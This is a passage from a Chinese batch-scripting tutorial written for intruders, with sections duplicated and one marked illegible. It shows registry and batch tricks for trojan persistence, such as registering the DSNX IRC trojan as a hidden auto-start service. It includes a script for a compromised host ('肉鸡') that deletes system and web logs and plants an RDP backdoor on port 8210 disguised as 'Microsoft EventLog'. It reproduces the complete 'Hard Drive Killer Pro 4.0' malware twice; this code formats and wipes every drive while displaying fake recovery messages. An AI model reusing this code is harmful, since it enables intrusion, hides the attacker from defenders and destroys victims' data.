CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用 FC 命令比较前后两次 DLL 和 EXE 文件,并将结果输入到 diff.txt 中),这样我们就能发现一些多出来的 DLL 和 EXE 文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被 DLL 木马光顾了。没有最好，如果有的话也不要直接 DEL 掉，先用 regsvr32 /u trojan.dll 将后门 DLL 文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.<、>&、<&

< 从文件中而不是从键盘中读入命令输入。

>& 将一个句柄的输出写入到另一个句柄的输入中。

<& 从一个句柄读取输入并将其写入到另一个句柄输出中。

这些并不常用，也就不多做介绍。

五.如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除 Run 下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG 文件来操作注册表.(我们可以用批处理来生成一个 REG 文件)

关于注册表的操作，常见的是创建、修改、删除。

1.创建

创建分为两种，一种是创建子项(Subkey)

我们创建一个文件，内容如下：

```
Windows Registry Editor Version 5.00
```

```
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
```

然后执行该脚本，你就已经在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft 下创建了一个名字为“hacker”的子项。

另一种是创建一个项目名称

那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：

```
Windows Registry Editor Version 5.00
```

```
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
```

```
"Invader"="Ex4rch"
```

```
"Door"=C:\\WINNT\\system32\\door.exe
```

```
"Autodos"=dword:02
```

这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

新建了:Invader、door、about 这三个项目

Invader 的类型是“String value”

door 的类型是“REG_SZ value”

Autodos 的类型是“DWORD value”

2.修改

修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。

3.删除

我们首先来说说删除一个项目名称，我们创建一个如下的文件：

```
Windows Registry Editor Version 5.00
```

```
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
```

```
"Ex4rch"=-
```

执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的

"Ex4rch"就被删除了；

我们再看看删除一个子项，我们创建一个如下的脚本：

```
Windows Registry Editor Version 5.00
```

```
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
```

执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。

相信看到这里，.reg 文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg 文件了，记得我们前面说到的利用重定向符号可以很容易地创建特定类型的文件。

sample1:如上面的那个例子,如想生成如下注册表文件

```
Windows Registry Editor Version 5.00
```

```
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
```

```
"Invader"="Ex4rch"
```

```
"door"=hex:255
```

```
"Autodos"=dword:000000128
```

只需要这样：

```
@echo Windows Registry Editor Version 5.00>>Sample.reg
```

```
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>Sample.reg
```

```
@echo "Invader"="Ex4rch">>Sample.reg
```

```
@echo "door"=5>>C:\WINNT\system32\door.exe>>Sample.reg
```

```
@echo "Autodos"=dword:02>>Sample.reg
```

sample2:

我们现在在使用一些比较老的木马时,可能会在注册表的

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地 IRC 木马 DSNX 为例(名为 windrv32.exe)

```
@start windrv32.exe
```

```
@attrib +h +r windrv32.exe
```

```
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
```

```
@echo "windsnx"="->>patch.dll
```

```
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
```

```
c:\winnt\system32\windrv32.exe
```

```
@regedit /s patch.dll
```

```
@delete patch.dll
```

@REM [删除 DSNXDE 在注册表中的启动项,用 sc.exe 将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并 config 为自启动]

@REM 这样不是更安全^_^.

批处理详细教程（五）

六.精彩实例放送。

1.删除 win2k/xp 系统默认共享的批处理

----- cut here then save as .bat or .cmd file -----

```
@echo preparing to delete all the default shares.when ready pres any key.
```

```
@pause
```

```
@echo off
```

```
:Rem check parameters if null show usage.
```

```
if {%1}=={} goto :Usage
```

```
:Rem code start.
```

```
echo.
```

```
echo -----
```

```
echo.
```

```
echo Now deleting all the default shares.
```

```
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo -----
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]> >
c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo -----
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author : Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error : Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
```

```

echo.
echo For instance , to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the diskable is not as C: D: E: , Please chang it youself.
echo.
echo example :
echo If locak diskable are C: D: E: X: Y: Z: , you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a usingg ***
echo.
echo -----
goto :EOF
:END
echo.
echo -----
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo -----
echo.
:EOF
echo end of the batch file

```

----- cut here then save as .bat or .cmd file -----

2.全面加固系统（给肉鸡打补丁）的批处理文件

----- cut here then save as .bat or .cmd file -----

```

@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
>>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll

```

```

@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
>>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
----- cut here then save as .bat or .cmd file -----
下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的 terminal service 留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*. * /f /q
@del c:\winnt\system32\logfiles\w3svc2\*. * /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32\dtclog\*. * /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-
Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
>>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll

```

```

@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。 " >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改 3389 连接，端口为 8210(十六进制为 00002012)，名称为 Microsoft EventLog，留条后路]
3.Hard Drive Killer Pro Version 4.0 ( 玩批处理到这个水平真的不容易了。 )
----- cut here then save as .bat or .cmd file -----
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%%%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\ad/w/-p $b find "bytes" > nul >{t}.bat
%%%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

```

```

echo @prompt dir %%%%1:.\ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0.

```

```
>>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the
following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead.
>>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.ba
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:mkdir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%%a
>>c:\temp.bat
echo for %%%%%a in (">ass_hole.txt") do echo %%%%%a Your Gone @$hole!!!! >>c:\temp.bat
echo if not exist
%%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2
\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2
\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %a:\*. only eliminates directories, hence leaving the file created above for further
destruction.
for %a in (%drive%) do call format %a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %a in (%drive%) do call c:\temp.bat %a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %a in (%drive%) call attrib -r -h %a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
```



```

echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of
here).

```

批处理详细教程（结尾篇）

六.精彩实例放送。

1.删除 win2k/xp 系统默认共享的批处理

```

----- cut here then save as .bat or .cmd file -----
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo -----

```

```
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo -----
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]> >
c:\delshare.reg
echo "AutoShareWks"=dword:00000000> > c:\delshare.reg
echo "AutoShareServer"=dword:00000000> > c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo -----
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author : Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error : Not enough parameters
```

```

echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance , to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the diskable is not as C: D: E: , Please chang it youself.
echo.
echo example :
echo If locak diskable are C: D: E: X: Y: Z: , you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo -----
goto :EOF
:END
echo.
echo -----
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo -----
echo.
:EOF
echo end of the batch file

```

----- cut here then save as .bat or .cmd file -----

2.全面加固系统（给肉鸡打补丁）的批处理文件

----- cut here then save as .bat or .cmd file -----

```

@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
>>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMOteRegistry] >>patch.dll

```

```

@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
>>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
----- cut here then save as .bat or .cmd file -----
下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的 terminal service 留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*. * /f /q
@del c:\winnt\system32\logfiles\w3svc2\*. * /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32\dtclog\*. * /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-
Tsp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
>>patch.dll

```

```

@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78, 00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message. " >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改 3389 连接，端口为 8210(十六进制为 00002012)，名称为 Microsoft EventLog，留条后路]
3.Hard Drive Killer Pro Version 4.0 (玩批处理到这个水平真的不容易了。)
----- cut here then save as .bat or .cmd file -----
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%%%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%%% /f /c dir %%%%1:.\ad/w/-p $b find "bytes" > nul >{t}.bat
%%%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

```

```

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat

```

[illegible]

```

call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of
here).
No.7

```

七、致谢&一些废话

谨以此文献给所有为实现网络的自由与共享而努力的朋友们。感谢所有共享他们作品的朋友们，让我们为我们的理想一起努力！！

批处理相关知识-1

批处理相关知识

这是一篇技术教程，我会用很简单的文字表达清楚自己的意思，你要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。

先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道---看了我也不一定信服---我是个菜鸟，当然就更不用说了；但我想总结出一个“比较合适的”，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”，那么我的目的就达到了----我就是让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！

按照我的理解，批处理的本质，是一堆 DOS 命令按一定顺序排列而形成的集合。

